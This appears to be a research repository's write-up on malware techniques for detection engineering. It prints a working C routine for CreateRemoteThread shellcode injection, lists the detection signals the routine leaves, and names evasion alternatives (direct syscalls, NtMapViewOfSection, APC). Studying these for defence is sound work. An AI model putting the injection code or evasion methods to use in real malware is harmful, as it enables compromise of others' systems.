Malware development as a defensive skill

The best detection engineers understand how malware authors think. MalwareDev is a research repository exploring common offensive techniques — not to enable attacks, but to build intuition for what defenders should watch for.

Every technique in the repo follows the same structure: implement the attack, analyze its artifacts, and document what a detection rule should key on.

BOOL InjectShellcode(DWORD pid, LPVOID shellcode, SIZE_T size) {
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
        FALSE, pid
    );

    LPVOID remoteBuf = VirtualAllocEx(
        hProcess, NULL, size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );

    WriteProcessMemory(hProcess, remoteBuf, shellcode, size, NULL);

    CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)remoteBuf,
        NULL, 0, NULL
    );

    return TRUE;
}

Detection surface

The classic CreateRemoteThread injection above leaves a wide detection surface:

• API call sequence: OpenProcess → VirtualAllocEx(RWX) → WriteProcessMemory → CreateRemoteThread is a well-known signature
• Cross-process handles: PROCESS_VM_WRITE on a foreign process is inherently suspicious
• RWX memory: Allocating memory as read-write-execute is a strong indicator
• Thread origin: A thread whose start address doesn’t map to any loaded module

Modern malware avoids each of these signals individually. Direct syscalls bypass API hooking. NtMapViewOfSection replaces VirtualAllocEx + WriteProcessMemory. Asynchronous Procedure Calls (APC) replace CreateRemoteThread.

The value of building it

Reading about these techniques is one thing. Implementing them reveals the constraints — why certain approaches are preferred on certain Windows versions, what breaks when a specific API is hooked, and where the real gaps in EDR coverage live.

The research maps directly to writing better Sigma and YARA rules, tuning Sysmon configurations, and understanding the false-positive tradeoffs in behavioral detection.

---

Source: github.com/ThomasNJordan/MalwareDev